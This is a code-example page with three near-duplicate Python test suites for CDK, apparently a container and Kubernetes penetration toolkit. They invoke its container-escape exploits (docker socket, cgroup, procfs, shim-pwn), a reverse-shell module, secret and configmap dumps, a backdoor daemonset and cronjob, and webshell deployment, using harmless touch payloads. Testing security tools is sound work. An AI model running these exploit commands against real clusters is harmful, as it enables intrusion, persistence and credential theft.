Пример #1
0
def test_pod():
    # evaluate in K8s
    white_list = [
        'System Info', 'Services', 'Commands and Capabilities',
        '00000000a80425fb', 'Filesystem:ext4', 'net namespace isolated',
        'api-server allows anonymous request', 'service-account is available',
        'system:serviceaccount:default', 'Alibaba Cloud Metadata API available'
    ]
    check_pod_exec('evaluate', white_list, ['*****@*****.**', 'input args'], False)

    # exploit: k8s-configmap-dump
    check_pod_exec('run k8s-configmap-dump', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run k8s-configmap-dump auto',
                   ['success', 'k8s_configmaps.json'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run k8s-configmap-dump /tmp/jkdhahdjfka2',
                   ['no such file or directory'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)

    # exploit: k8s-secret-dump
    check_pod_exec('run k8s-secret-dump', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run k8s-secret-dump auto', ['success', 'k8s_secrets.json'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)

    # tool: kcurl
    check_pod_exec(
        'kcurl',
        ['to K8s api-server'],  # help msg
        ['panic:', 'cdk evaluate'],
        False)
    check_pod_exec(
        'kcurl default get https://172.21.0.1:443/api/v1/nodes',  # forbidden
        ['apiVersion', 'nodes is forbidden'],
        ['panic:', 'cdk evaluate', 'empty'],
        False)
    check_pod_exec(
        'kcurl anonymous get https://172.21.0.1:443/api/v1/nodes',  # success dump
        ['apiVersion'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
    check_pod_exec(
        r'''
        kcurl anonymous post 'https://172.21.0.1:443/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"cdxy-test-2021\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"ubuntu:latest\",\"name\":\"container\"}]}}\n"},"name":"cdxy-test-2021","namespace":"default"},"spec":{"containers":[{"image":"ubuntu:latest","name":"container"}]}}'
        '''.replace('\n', ''), ['apiVersion', 'api-server response'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'], False)

    # run: k8s-backdoor-daemonset
    check_pod_exec(
        'run k8s-backdoor-daemonset 1',  # success dump
        ['invalid'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
    check_pod_exec(
        'run k8s-backdoor-daemonset anonymous ubuntu',  # success dump
        ['cdk-backdoor-daemonset'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)

    # run: istio-check
    check_pod_exec('run istio-check', ['the shell is not in a istio'],
                   ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
                   False)

    # test evaluate in selfbuild k8s
    # make sure bind system:default:default to cluster-admin first (test/k8s_exploit_yaml/default_to_admin.yaml)
    check_selfbuild_k8s_pod_exec('evaluate', [
        '00000000a80425fb', 'Discovery - K8s API Server',
        'the service-account have a high authority'
    ], ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'], False)

    # run: k8s-shadow-apiserver
    k8s_master_ssh_cmd(
        'kubectl delete pod kube-apiserver-cn-beijing.192.168.0.150-shadow -n kube-system',
        [], [], False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-shadow-apiserver default',  # success
        ['listening insecure-port: 0.0.0.0:9443'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-shadow-apiserver anonymous',  # forbidden
        ['forbidden this request'],
        [
            'listening insecure-port: 0.0.0.0:9443', 'panic:',
            'nodes is forbidden', 'cdk evaluate', 'empty'
        ],
        False)
    k8s_master_ssh_cmd(
        'kubectl exec myappnew -- curl 192.168.0.150:9443',  # curl shadow-apiserver
        ['/api/v1'],
        [],
        False)

    # run: k8s-mitm-clusterip
    k8s_master_ssh_cmd('kubectl delete deployment mitm-payload-deploy', [], [],
                       False)
    k8s_master_ssh_cmd('kubectl delete service mitm-externalip', [], [], False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-mitm-clusterip default ubuntu 9.9.9.9 99',  # forbidden
        ['selfLink'],
        [
            'listening insecure-port: 0.0.0.0:9443', 'panic:',
            'nodes is forbidden', 'cdk evaluate', 'empty'
        ],
        False)

    # exploit: webshell-deploy
    check_pod_exec('run webshell-deploy php /var/www/html212/1.php',
                   ['no such file or directory', 'failed'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run webshell-deploy php', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run webshell-deploy js1p /tmp/1.jsp', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run webshell-deploy jsp /tmp/1.jsp', ['webshell saved in'],
                   ['*****@*****.**', 'cdk evaluate', '%s', 'input args'], False)

    # run: cronjob
    k8s_master_ssh_cmd(
        'kubectl delete cronjob cdk-backdoor-cronjob -n kube-system', [], [],
        False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-cronjob default min alpine "echo helloworld"',
        ['generate cronjob with', 'selfLink'],
        ['*****@*****.**', 'cdk evaluate', '%s', 'input args'], False)
Пример #2
0
def test_all():
    # BASE CDK

    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='',
        white_list=['*****@*****.**'],
        black_list=[],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='--help',
        white_list=['*****@*****.**'],
        black_list=[],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='-v',
        white_list=['cdk '],
        black_list=[],
        verbose=False
    )

    # EVALUATE

    # host based evaluate
    white_list = [
        'current dir: /root',
        'current user: root',
        'service found in process',
        'sensitive env found',
        '	sshd',
        'available commands',
        'curl,wget,nc',
        'CapEff:	0000003fffffffff',
        'Possible Privileged Container',
        'Filesystem:ext4',
        'host unix-socket found',
        'K8s API Server',
        'K8s Service Account',
        'Cloud Provider Metadata API',
        'http://100.100.100.200/latest/meta-data/',
        'system:anonymous',
        '/kubernetes.io/serviceaccount/token',
        'failed to dial Google Cloud API',
        'failed to dial Azure API',
        # for --full
        '/root/.bashrc',
        'Sensitive Files',
        '/root/.ssh/authorized_keys'
    ]
    black_list = []
    check_host_evaluate('evaluate --full', white_list, black_list)

    # container-based evaluate
    white_list = [
        'current dir: /',
        'current user: root',
        'available commands',
        'find,ps',
        'CapEff:	00000000a80425fb',
        'Filesystem:ext4',
        'host unix-socket found',
        'K8s API Server',
        'K8s Service Account',
        'Cloud Provider Metadata API',
        'http://100.100.100.200/latest/meta-data/',
        'system:anonymous',
        '/kubernetes.io/serviceaccount/token',
        'failed to dial Google Cloud API',
        'failed to dial Azure API',
        '/containerd-shim/',
        # for --full
        'Sensitive Files',
        '/.dockerenv',
        'cannot find kubernetes api host in ENV'
    ]
    black_list = []

    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--net=host',
        cmd='evaluate --full',
        white_list=white_list,
        black_list=black_list
    )
    inside_container_cmd(
        image='alpine:latest',
        docker_args='--net=host',
        cmd='evaluate --full',
        white_list=white_list,
        black_list=black_list
    )
    # inside_container_cmd(
    #     image = 'centos:latest',
    #     docker_args = '--net=host',
    #     cmd = 'evaluate --full',
    #     white_list = white_list,
    #     black_list = black_list
    # )

    # TOOL

    # tool: ifconfig
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='ifconfig',
        white_list=['lo', '127.0'],
        black_list=['*****@*****.**'],
        verbose=False
    )

    # tool: ps
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='ps',
        white_list=['root', '/usr/bin', '1'],
        black_list=['*****@*****.**'],
        verbose=False
    )

    # tool: ucurl
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'ucurl',
        white_list=['input args'],
        black_list=['*****@*****.**'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /var/run/docker.sock:/var/run/docker.sock',
        cmd=r'ucurl get /var/run/docker.sock http://127.0.0.1/info \"\"',
        white_list=['Containers'],
        black_list=['*****@*****.**', 'input args'],
        verbose=False
    )

    # tool: probe
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='probe',
        white_list=['input args'],
        black_list=['*****@*****.**'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='probe 1.1.1.1 22 10 1000',
        white_list=['scanning'],
        black_list=['*****@*****.**'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='probe 1.1.1.1 22 50-999999 1000',
        white_list=['input arg'],
        black_list=['*****@*****.**'],
        verbose=False
    )

    # tool: vi
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='vi',
        white_list=['Usage'],
        black_list=['*****@*****.**'],
        verbose=False
    )

    # tool: nc
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd='nc',
        white_list=['input args'],
        black_list=['*****@*****.**'],
        verbose=False
    )

    # EXPLOIT

    # exploit: --list
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--net=host',
        cmd='run --list',
        white_list=['test-poc'],
        black_list=['Options:', '*****@*****.**'],
        verbose=False
    )

    # exploit: shim-pwn
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--net=host',
        cmd=r'run shim-pwn \"touch /tmp/shim-pwn-success\"',  # " needs to escape in raw
        white_list=['containerd-shim', 'exploit success'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI '],
        verbose=False
    )
    time.sleep(1)
    check_host_exec('rm /tmp/shim-pwn-success', [], ['No such file or directory'], False)

    # exploit: docker-sock-check
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run docker-sock-check',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run docker-sock-check /var/run/docker.sock',  # " needs to escape in raw
        white_list=['no such file or directory'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /var/run/docker.sock:/var/run/docker.sock',
        cmd=r'run docker-sock-check /var/run/docker.sock',  # " needs to escape in raw
        white_list=['success', 'happy escaping'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit failed'],
        verbose=False
    )

    # exploit: docker-sock-check (will leave a container with image alpine:latest)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run docker-sock-deploy',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run docker-sock-deploy /var/run/docker.sock alpine:latest',  # " needs to escape in raw
        white_list=['no such file or directory'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /var/run/docker.sock:/var/run/docker.sock',
        cmd=r'run docker-sock-deploy /var/run/docker.sock alpine:latest',  # " needs to escape in raw
        white_list=['success', 'happy escaping', 'alpine:latest', '"ID"', 'starting container:', 'finished'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit failed'],
        verbose=False
    )
    time.sleep(1)
    check_host_exec('docker ps | grep alpine', ['alpine'], [], False)

    # exploit: docker-sock-check (will leave a container with image alpine:latest)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-cgroup',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-cgroup \"touch /tmp/mount-cgroup-success\"',  # " needs to escape in raw
        white_list=['shell script saved to', 'Execute Shell', 'failed'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--privileged=true',
        cmd=r'run mount-cgroup \"touch /tmp/mount-cgroup-success\"',  # " needs to escape in raw
        white_list=['finished with output'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'failed'],
        verbose=False
    )
    time.sleep(1)
    check_host_exec('rm /tmp/mount-cgroup-success', [], ['No such file or directory'], False)

    # exploit: service-probe
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run service-probe',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run service-probe 192.168.1.1-^^10',  # " needs to escape in raw
        white_list=['Invalid IP Range'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run service-probe 127.0.0.1',  # " needs to escape in raw
        white_list=['scanning'],
        black_list=['*****@*****.**', 'exploit failed', 'Invalid'],
        verbose=False
    )

    # exploit: mount-disk
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-disk',  # " needs to escape in raw
        white_list=['failed', 'target container is not privileged'],
        black_list=['*****@*****.**', 'exploit success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--privileged=true',
        cmd=r'run mount-disk',  # " needs to escape in raw
        white_list=['success', 'was mounted to'],
        black_list=['*****@*****.**', 'failed'],
        verbose=False
    )

    # exploit: mount-procfs
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-procfs',  # " needs to escape in raw
        white_list=['input args'],
        black_list=['*****@*****.**', 'success'],
        verbose=False
    )
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /proc:/host_proc',
        cmd=r'run mount-procfs /host_proc \"touch /tmp/mount-procfs-success\"',  # " needs to escape in raw
        white_list=['success', 'core dumped'],
        black_list=['*****@*****.**', 'failed'],
        verbose=False
    )
    time.sleep(1)
    check_host_exec('rm /tmp/mount-procfs-success', [], ['No such file or directory'], False)

    # exploit: reverse-shell
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run reverse-shell',  # " needs to escape in raw
        white_list=['input args'],
        black_list=['*****@*****.**', 'success'],
        verbose=False
    )

    # exploit: ak-leakage
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run ak-leakage',  # " needs to escape in raw
        white_list=['input args'],
        black_list=['*****@*****.**', 'success'],
        verbose=False
    )
    check_host_exec(r'echo "AKIA99999999999999AB" > /tmp/ak-leakage', [], [], False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /tmp/ak-leakage:/tmp/ak-leakage',
        cmd=r'run ak-leakage /tmp',  # " needs to escape in raw
        white_list=['AKIA99999999999999AB'],
        black_list=['*****@*****.**', 'input args'],
        verbose=False
    )
    check_host_exec(r'rm /tmp/ak-leakage', [], [], False)

    # K8s
    white_list = [
        'System Info',
        'Services',
        'Commands and Capabilities',
        '00000000a80425fb',
        'Filesystem:ext4',
        'net namespace isolated',
        'api-server allows anonymous request',
        'service-account is available',
        'system:serviceaccount:default',
        'Alibaba Cloud Metadata API available'
    ]
    check_pod_exec('evaluate', white_list, ['*****@*****.**', 'input args'], False)

    # evaluate in K8s
    white_list = [
        'System Info',
        'Services',
        'Commands and Capabilities',
        '00000000a80425fb',
        'Filesystem:ext4',
        'net namespace isolated',
        'api-server allows anonymous request',
        'service-account is available',
        'system:serviceaccount:default',
        'Alibaba Cloud Metadata API available'
    ]
    check_pod_exec('evaluate', white_list, ['*****@*****.**', 'input args'], False)

    # exploit: k8s-configmap-dump
    check_pod_exec(
        'run k8s-configmap-dump',
        ['input args'],
        ['*****@*****.**','cdk evaluate'],
        False
    )
    check_pod_exec(
        'run k8s-configmap-dump auto',
        ['success', 'k8s_configmaps.json'],
        ['input args', '*****@*****.**','cdk evaluate'],
        False
    )
    check_pod_exec(
        'run k8s-configmap-dump /tmp/jkdhahdjfka2',
        ['no such file or directory'],
        ['input args', '*****@*****.**','cdk evaluate'],
        False
    )

    # exploit: k8s-secret-dump
    check_pod_exec(
        'run k8s-secret-dump',
        ['input args'],
        ['*****@*****.**','cdk evaluate'],
        False
    )
    check_pod_exec(
        'run k8s-secret-dump auto',
        ['success','k8s_secrets.json'],
        ['input args','*****@*****.**','cdk evaluate'],
        False
    )

    # tool: kcurl # TODO test post args.
    check_pod_exec(
        'kcurl',
        ['to K8s api-server'], # help msg
        ['panic:','cdk evaluate'],
        False
    )
    check_pod_exec(
        'kcurl default get https://172.21.0.1:443/api/v1/nodes', # forbidden
        ['apiVersion','nodes is forbidden'],
        ['panic:', 'cdk evaluate','empty'],
        False
    )
    check_pod_exec(
        'kcurl default get http://172.21.0.1:443/api/v1/nodes', # empty response
        ['empty'],
        ['panic:', 'cdk evaluate'],
        False
    )
    check_pod_exec(
        'kcurl anonymous get https://172.21.0.1:443/api/v1/nodes', # success dump
        ['apiVersion'],
        ['panic:', 'nodes is forbidden','cdk evaluate','empty'],
        False
    )
Пример #3
0
def test_all():
    # BASE CDK

    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='',
                         white_list=['*****@*****.**'],
                         black_list=[],
                         verbose=False)
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='--help',
                         white_list=['*****@*****.**'],
                         black_list=[],
                         verbose=False)
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='-v',
                         white_list=['cdk '],
                         black_list=[],
                         verbose=False)

    # EVALUATE

    # host based evaluate
    white_list = [
        'current dir: /root',
        'current user: root',
        'service found in process',
        'sensitive env found',
        '	sshd',
        'available commands',
        'curl,wget,nc',
        'CapEff:	0000003fffffffff',
        'Possible Privileged Container',
        'Filesystem:ext4',
        'host unix-socket found',
        'K8s API Server',
        'K8s Service Account',
        'Cloud Provider Metadata API',
        'http://100.100.100.200/latest/meta-data/',
        'system:anonymous',
        '/kubernetes.io/serviceaccount/token',
        'failed to dial Google Cloud API',
        'failed to dial Azure API',
        # for --full
        '/root/.bashrc',
        'Sensitive Files',
        '/root/.ssh/authorized_keys'
    ]
    black_list = []
    check_host_evaluate('evaluate --full', white_list, black_list)

    # container-based evaluate
    white_list = [
        'current dir: /',
        'current user: root',
        'available commands',
        'find,ps',
        'CapEff:	00000000a80425fb',
        'Filesystem:ext4',
        'host unix-socket found',
        'K8s API Server',
        'K8s Service Account',
        'Cloud Provider Metadata API',
        'http://100.100.100.200/latest/meta-data/',
        'system:anonymous',
        '/kubernetes.io/serviceaccount/token',
        'failed to dial Google Cloud API',
        'failed to dial Azure API',
        '/containerd-shim/',
        # for --full
        'Sensitive Files',
        '/.dockerenv',
        'cannot find kubernetes api host in ENV'
    ]
    black_list = []

    inside_container_cmd(image='ubuntu:latest',
                         docker_args='--net=host',
                         cmd='evaluate --full',
                         white_list=white_list,
                         black_list=black_list)
    inside_container_cmd(image='alpine:latest',
                         docker_args='--net=host',
                         cmd='evaluate --full',
                         white_list=white_list,
                         black_list=black_list)
    # inside_container_cmd(
    #     image = 'centos:latest',
    #     docker_args = '--net=host',
    #     cmd = 'evaluate --full',
    #     white_list = white_list,
    #     black_list = black_list
    # )

    # TOOL

    # tool: ifconfig
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='ifconfig',
                         white_list=['lo', '127.0'],
                         black_list=['*****@*****.**'],
                         verbose=False)

    # tool: ps
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='ps',
                         white_list=['root', '/usr/bin', '1'],
                         black_list=['*****@*****.**'],
                         verbose=False)

    # tool: ucurl
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd=r'ucurl',
                         white_list=['input args'],
                         black_list=['*****@*****.**'],
                         verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /var/run/docker.sock:/var/run/docker.sock',
        cmd=r'ucurl get /var/run/docker.sock http://127.0.0.1/info \"\"',
        white_list=['Containers'],
        black_list=['*****@*****.**', 'input args'],
        verbose=False)

    # tool: probe
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='probe',
                         white_list=['input args'],
                         black_list=['*****@*****.**'],
                         verbose=False)
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='probe 1.1.1.1 22 10 1000',
                         white_list=['scanning'],
                         black_list=['*****@*****.**'],
                         verbose=False)
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='probe 1.1.1.1 22 50-999999 1000',
                         white_list=['input arg'],
                         black_list=['*****@*****.**'],
                         verbose=False)

    # tool: vi
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='vi',
                         white_list=['Usage'],
                         black_list=['*****@*****.**'],
                         verbose=False)

    # tool: nc
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='',
                         cmd='nc',
                         white_list=['options'],
                         black_list=['*****@*****.**'],
                         verbose=False)

    # EXPLOIT

    # exploit: --list
    inside_container_cmd(image='ubuntu:latest',
                         docker_args='--net=host',
                         cmd='run --list',
                         white_list=['test-poc'],
                         black_list=['Options:', '*****@*****.**'],
                         verbose=False)

    # exploit: shim-pwn
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--net=host',
        cmd=
        r'run shim-pwn \"touch /tmp/shim-pwn-success\"',  # " needs to escape in raw
        white_list=['containerd-shim', 'exploit success'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI '],
        verbose=False)
    time.sleep(1)
    check_host_exec('rm /tmp/shim-pwn-success', [],
                    ['No such file or directory'], False)

    # exploit: docker-sock-check
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run docker-sock-check',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=
        r'run docker-sock-check /var/run/docker.sock',  # " needs to escape in raw
        white_list=['no such file or directory'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /var/run/docker.sock:/var/run/docker.sock',
        cmd=
        r'run docker-sock-check /var/run/docker.sock',  # " needs to escape in raw
        white_list=['success', 'happy escaping'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit failed'],
        verbose=False)

    # exploit: docker-sock-check (will leave a container with image alpine:latest)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run docker-sock-deploy',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=
        r'run docker-sock-deploy /var/run/docker.sock alpine:latest',  # " needs to escape in raw
        white_list=['no such file or directory'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /var/run/docker.sock:/var/run/docker.sock',
        cmd=
        r'run docker-sock-deploy /var/run/docker.sock alpine:latest',  # " needs to escape in raw
        white_list=[
            'success', 'happy escaping', 'alpine:latest', '"ID"',
            'starting container:', 'finished'
        ],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit failed'],
        verbose=False)
    time.sleep(1)
    check_host_exec('docker ps | grep alpine', ['alpine'], [], False)

    # exploit: docker-sock-check (will leave a container with image alpine:latest)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-cgroup',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=
        r'run mount-cgroup \"touch /tmp/mount-cgroup-success\"',  # " needs to escape in raw
        white_list=['shell script saved to', 'Execute Shell', 'failed'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--privileged=true',
        cmd=
        r'run mount-cgroup \"touch /tmp/mount-cgroup-success\"',  # " needs to escape in raw
        white_list=['finished with output'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'failed'],
        verbose=False)
    time.sleep(1)
    check_host_exec('rm /tmp/mount-cgroup-success', [],
                    ['No such file or directory'], False)

    # exploit: service-probe
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run service-probe',  # " needs to escape in raw
        white_list=['invalid input args'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run service-probe 192.168.1.1-^^10',  # " needs to escape in raw
        white_list=['Invalid IP Range'],
        black_list=['*****@*****.**', 'exploit failed', 'OCI ', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run service-probe 127.0.0.1',  # " needs to escape in raw
        white_list=['scanning'],
        black_list=['*****@*****.**', 'exploit failed', 'Invalid'],
        verbose=False)

    # exploit: mount-disk
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-disk',  # " needs to escape in raw
        white_list=['failed', 'target container is not privileged'],
        black_list=['*****@*****.**', 'exploit success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='--privileged=true',
        cmd=r'run mount-disk',  # " needs to escape in raw
        white_list=['success', 'was mounted to'],
        black_list=['*****@*****.**', 'failed'],
        verbose=False)

    # exploit: mount-procfs
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run mount-procfs',  # " needs to escape in raw
        white_list=['input args'],
        black_list=['*****@*****.**', 'success'],
        verbose=False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /proc:/host_proc',
        cmd=
        r'run mount-procfs /host_proc \"touch /tmp/mount-procfs-success\"',  # " needs to escape in raw
        white_list=['success', 'core dumped'],
        black_list=['*****@*****.**', 'failed'],
        verbose=False)
    time.sleep(1)
    check_host_exec('rm /tmp/mount-procfs-success', [],
                    ['No such file or directory'], False)

    # exploit: reverse-shell
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run reverse-shell',  # " needs to escape in raw
        white_list=['input args'],
        black_list=['*****@*****.**', 'success'],
        verbose=False)

    # exploit: ak-leakage
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='',
        cmd=r'run ak-leakage',  # " needs to escape in raw
        white_list=['input args'],
        black_list=['*****@*****.**', 'success'],
        verbose=False)
    check_host_exec(r'echo "AKIA99999999999999AB" > /tmp/ak-leakage', [], [],
                    False)
    inside_container_cmd(
        image='ubuntu:latest',
        docker_args='-v /tmp/ak-leakage:/tmp/ak-leakage',
        cmd=r'run ak-leakage /tmp',  # " needs to escape in raw
        white_list=['AKIA99999999999999AB'],
        black_list=['*****@*****.**', 'input args'],
        verbose=False)
    check_host_exec(r'rm /tmp/ak-leakage', [], [], False)

    # K8s
    white_list = [
        'System Info', 'Services', 'Commands and Capabilities',
        '00000000a80425fb', 'Filesystem:ext4', 'net namespace isolated',
        'api-server allows anonymous request', 'service-account is available',
        'system:serviceaccount:default', 'Alibaba Cloud Metadata API available'
    ]
    check_pod_exec('evaluate', white_list, ['*****@*****.**', 'input args'], False)

    # evaluate in K8s
    white_list = [
        'System Info', 'Services', 'Commands and Capabilities',
        '00000000a80425fb', 'Filesystem:ext4', 'net namespace isolated',
        'api-server allows anonymous request', 'service-account is available',
        'system:serviceaccount:default', 'Alibaba Cloud Metadata API available'
    ]
    check_pod_exec('evaluate', white_list, ['*****@*****.**', 'input args'], False)

    # exploit: k8s-configmap-dump
    check_pod_exec('run k8s-configmap-dump', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run k8s-configmap-dump auto',
                   ['success', 'k8s_configmaps.json'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run k8s-configmap-dump /tmp/jkdhahdjfka2',
                   ['no such file or directory'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)

    # exploit: k8s-secret-dump
    check_pod_exec('run k8s-secret-dump', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run k8s-secret-dump auto', ['success', 'k8s_secrets.json'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)

    # tool: kcurl
    check_pod_exec(
        'kcurl',
        ['to K8s api-server'],  # help msg
        ['panic:', 'cdk evaluate'],
        False)
    check_pod_exec(
        'kcurl default get https://172.21.0.1:443/api/v1/nodes',  # forbidden
        ['apiVersion', 'nodes is forbidden'],
        ['panic:', 'cdk evaluate', 'empty'],
        False)
    check_pod_exec(
        'kcurl anonymous get https://172.21.0.1:443/api/v1/nodes',  # success dump
        ['apiVersion'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
